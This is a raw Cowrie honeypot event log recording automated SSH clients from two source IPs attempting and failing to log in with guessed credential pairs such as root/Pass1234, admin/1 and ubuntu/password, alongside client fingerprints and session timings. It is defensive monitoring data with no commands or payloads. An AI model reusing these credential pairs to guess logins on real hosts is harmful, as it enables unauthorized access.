{"eventid":"cowrie.login.failed","username":"avax","password":"avax","message":"login attempt [avax/avax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:44.855832Z","src_ip":"91.92.40.171","session":"09458a5d2da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:45.974827Z","src_ip":"91.92.40.171","session":"09458a5d2da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:46.148740Z","src_ip":"91.92.42.133","session":"ad4a4f8d956a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52910,"dst_ip":"159.203.135.109","dst_port":22,"session":"d86ed0c8d3f3","protocol":"ssh","message":"New connection: 91.92.42.133:52910 (159.203.135.109:22) [session: d86ed0c8d3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:50.382931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:50.420905Z","src_ip":"91.92.42.133","session":"d86ed0c8d3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:50.486632Z","src_ip":"91.92.42.133","session":"d86ed0c8d3f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:50.984306Z","src_ip":"91.92.42.133","session":"d86ed0c8d3f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38312,"dst_ip":"159.203.135.109","dst_port":22,"session":"1179e87d027d","protocol":"ssh","message":"New connection: 91.92.40.171:38312 (159.203.135.109:22) [session: 1179e87d027d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:51.140814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:51.243650Z","src_ip":"91.92.40.171","session":"1179e87d027d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:52.114737Z","src_ip":"91.92.42.133","session":"d86ed0c8d3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:52.306865Z","src_ip":"91.92.40.171","session":"1179e87d027d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.829798460006714,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:53.483984Z","src_ip":"128.199.8.54","session":"57147a416021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36816,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ecc46f1c9fd","protocol":"ssh","message":"New connection: 91.92.40.171:36816 (159.203.135.109:22) [session: 3ecc46f1c9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:55.152578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:55.171360Z","src_ip":"91.92.40.171","session":"3ecc46f1c9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:55.247659Z","src_ip":"91.92.40.171","session":"3ecc46f1c9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:55.574642Z","src_ip":"91.92.40.171","session":"3ecc46f1c9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:56.905100Z","src_ip":"91.92.40.171","session":"3ecc46f1c9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54300,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4fad75d1657","protocol":"ssh","message":"New connection: 91.92.42.133:54300 (159.203.135.109:22) [session: a4fad75d1657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:57.534005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:58.100027Z","src_ip":"91.92.42.133","session":"a4fad75d1657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:58.103626Z","src_ip":"91.92.42.133","session":"a4fad75d1657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakob","password":"jakob","message":"login attempt [jakob/jakob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:59.017129Z","src_ip":"91.92.40.171","session":"1179e87d027d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:59.115412Z","src_ip":"91.92.42.133","session":"a4fad75d1657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.022276163101196,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:00.714221Z","src_ip":"128.199.8.54","session":"216eaa296ce1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:00.726094Z","src_ip":"91.92.42.133","session":"a4fad75d1657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36842,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9a48ffe61d7","protocol":"ssh","message":"New connection: 91.92.40.171:36842 (159.203.135.109:22) [session: a9a48ffe61d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:00.943286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:00.960845Z","src_ip":"91.92.40.171","session":"a9a48ffe61d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:01.031646Z","src_ip":"91.92.40.171","session":"a9a48ffe61d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:01.157158Z","src_ip":"91.92.40.171","session":"1179e87d027d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:01.457582Z","src_ip":"91.92.40.171","session":"a9a48ffe61d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:02.582812Z","src_ip":"91.92.40.171","session":"a9a48ffe61d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56932,"dst_ip":"159.203.135.109","dst_port":22,"session":"c124c7ca03af","protocol":"ssh","message":"New connection: 91.92.42.133:56932 (159.203.135.109:22) [session: c124c7ca03af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:04.767408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:04.898174Z","src_ip":"91.92.42.133","session":"c124c7ca03af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:04.902297Z","src_ip":"91.92.42.133","session":"c124c7ca03af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chenxi","password":"123456","message":"login attempt [chenxi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:05.919621Z","src_ip":"91.92.42.133","session":"c124c7ca03af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58022,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8eaa3b0499c","protocol":"ssh","message":"New connection: 91.92.40.171:58022 (159.203.135.109:22) [session: d8eaa3b0499c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:06.442424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:06.538864Z","src_ip":"91.92.40.171","session":"d8eaa3b0499c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:06.542554Z","src_ip":"91.92.40.171","session":"d8eaa3b0499c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"12345678","message":"login attempt [openvpn/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:07.098102Z","src_ip":"91.92.40.171","session":"d8eaa3b0499c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:07.293136Z","src_ip":"91.92.42.133","session":"c124c7ca03af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:08.217117Z","src_ip":"91.92.40.171","session":"d8eaa3b0499c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56998,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee12e741540a","protocol":"ssh","message":"New connection: 91.92.42.133:56998 (159.203.135.109:22) [session: ee12e741540a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:11.654364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:11.707306Z","src_ip":"91.92.42.133","session":"ee12e741540a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:11.791011Z","src_ip":"91.92.42.133","session":"ee12e741540a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58078,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebe7907db242","protocol":"ssh","message":"New connection: 91.92.40.171:58078 (159.203.135.109:22) [session: ebe7907db242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:11.921091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:11.969553Z","src_ip":"91.92.40.171","session":"ebe7907db242","protocol":"ssh"}
